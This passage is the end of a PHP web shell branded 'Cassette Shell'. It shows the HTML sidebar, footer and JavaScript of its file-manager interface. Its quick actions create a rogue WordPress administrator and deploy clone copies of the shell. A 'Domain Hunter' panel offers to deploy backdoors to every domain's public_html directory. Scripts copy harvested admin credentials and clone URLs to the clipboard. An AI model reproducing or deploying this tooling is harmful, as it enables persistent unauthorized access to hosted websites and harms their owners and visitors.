htmlspecialchars($detectedDomain); ?>" target="_blank" style="color:#44ffcc;"> <?php echo htmlspecialchars($detectedDomain); ?></a></div> <?php endif; ?> <div class="info-row"><strong>📊 CONTENTS</strong><?php echo count($directories); ?> directories · <?php echo count($files); ?> files</div> <div class="info-row"><strong>💾 DISK FREE</strong><?php echo FileSystemManager::formatBytes(disk_free_space($currentPath)); ?></div> <div class="info-row"><strong>🐘 PHP VERSION</strong><?php echo PHP_VERSION; ?></div> <div class="info-row"><strong>🖥️ SERVER</strong><?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></div> </div> <!-- Quick Actions Widget --> <div class="sidebar-card"> <div class="sidebar-title">⚡ QUICK ACTIONS</div> <div style="display: flex; flex-direction: column; gap: 8px;"> <a href="?path=<?php echo urlencode(dirname(__FILE__)); ?>" class="btn" style="justify-content: center;">📍 SCRIPT DIRECTORY</a> <a href="?path=/var/www/html" class="btn" style="justify-content: center;">🌐 DEFAULT WEBROOT</a> <a href="?path=<?php echo urlencode($currentPath); ?>&create_wp_admin=1" class="btn btn-warning" style="justify-content: center;">⚡ CREATE WP ADMIN</a> <a href="?path=<?php echo urlencode($currentPath); ?>&deploy_clones=1" class="btn" style="justify-content: center; background:#cc44ff20;">📼 DEPLOY <?php echo CLONE_FILENAME; ?></a> </div> </div> <!-- Domains Quick Deploy (contextual) --> <?php if ($isInDomainsFolder): ?> <div class="sidebar-card"> <div class="sidebar-title">🌐 DOMAIN HUNTER</div> <p style="font-size: 0.7rem; margin-bottom: 12px; color: #aaaaff;"> You are in a domains folder structure. Deploy backdoors to all domain public_html directories. </p> <a href="?path=<?php echo urlencode($currentPath); ?>&deploy_clones=1" class="btn btn-primary" style="width: 100%; justify-content: center; text-align: center;"> 🎯 DEPLOY TO ALL DOMAINS </a> </div> <?php endif; ?> <!-- About / Help Widget --> <div class="sidebar-card"> <div class="sidebar-title">📼 ABOUT</div> <div class="info-row"><strong>🎵 CASSETTE SHELL</strong>Advanced file manager with remote deployment capabilities</div> <div class="info-row"><strong>🔧 FEATURES</strong>File browser, editor, upload, WP admin creator, mass deployment</div> <div class="info-row"><strong>📁 CLONE NAME</strong><?php echo CLONE_FILENAME; ?></div> <div class="info-row"><strong>⌨️ SHORTCUTS</strong>Ctrl+S (save editor) · Esc (back to browser)</div> </div> </div> </div> <!-- ========== FOOTER ========== --> <div class="footer"> <?php echo SHELL_NAME; ?> v<?php echo SHELL_VERSION; ?> · <?php echo count($directories) + count($files); ?> items · PHP <?php echo PHP_VERSION; ?> · <span style="color:#ff44cc;">◀ ● ● ● ▶</span> </div> </div> <script> /* ====================================================================== CASSETTE SHELL INTERACTIVITY - Auto-hide messages after delay - Copy clone URLs to clipboard on click - Keyboard shortcuts (Ctrl+S save, Escape back) ====================================================================== */ (function() { // Auto-hide flash messages after 5 seconds const messages = document.querySelectorAll('.message'); if (messages.length) { setTimeout(() => { messages.forEach(msg => { msg.style.transition = 'opacity 0.3s'; msg.style.opacity = '0'; setTimeout(() => msg.remove(), 400); }); }, 5000); } // Make clone URLs click-to-copy const cloneUrls = document.querySelectorAll('.clone-url'); cloneUrls.forEach(el => { el.addEventListener('click', function(e) { e.preventDefault(); const url = this.href; navigator.clipboard.writeText(url).then(() => { const originalText = this.innerText; this.innerText = '✓ COPIED!'; setTimeout(() => this.innerText = originalText, 1200); }); }); }); // Make credential boxes copy-friendly const wpCreds = document.querySelector('.message-success strong'); if (wpCreds && wpCreds.innerText.includes('WORDPRESS ADMIN')) { const credContainer = document.querySelector('.message-success'); if (credContainer) { credContainer.style.cursor = 'pointer'; credContainer.addEventListener('click', function() { const text = this.innerText; navigator.clipboard.writeText(text); const old = this.style.borderLeftColor; this.style.borderLeftColor = '#44ffcc'; setTimeout(() => this.style.borderLeftColor = old, 500); }); } } // Keyboard shortcuts document.addEventListener('keydown', (e) => { // Ctrl+S: Save in editor if (e.ctrlKey && e.key === 's' && document.querySelector('.editor textarea')) { e.preventDefault(); const saveBtn = document.querySelector('.editor-footer .btn-primary'); if (saveBtn) saveBtn.click(); } // Escape: Go back from editor to browser if (e.key === 'Escape') { const backBtn = document.querySelector('.editor-header .btn'); if (backBtn && backBtn.innerText.includes('BACK')) { window.location.href = backBtn.href; } } }); // Confirm delete actions const deleteButtons = document.querySelectorAll('.card-btn-danger'); deleteButtons.forEach(btn => { btn.addEventListener('click', (e) => { if (!confirm('⚠️ PERMANENT DELETE: Are you absolutely sure?')) { e.preventDefault(); } }); }); })(); </script> </body> </html>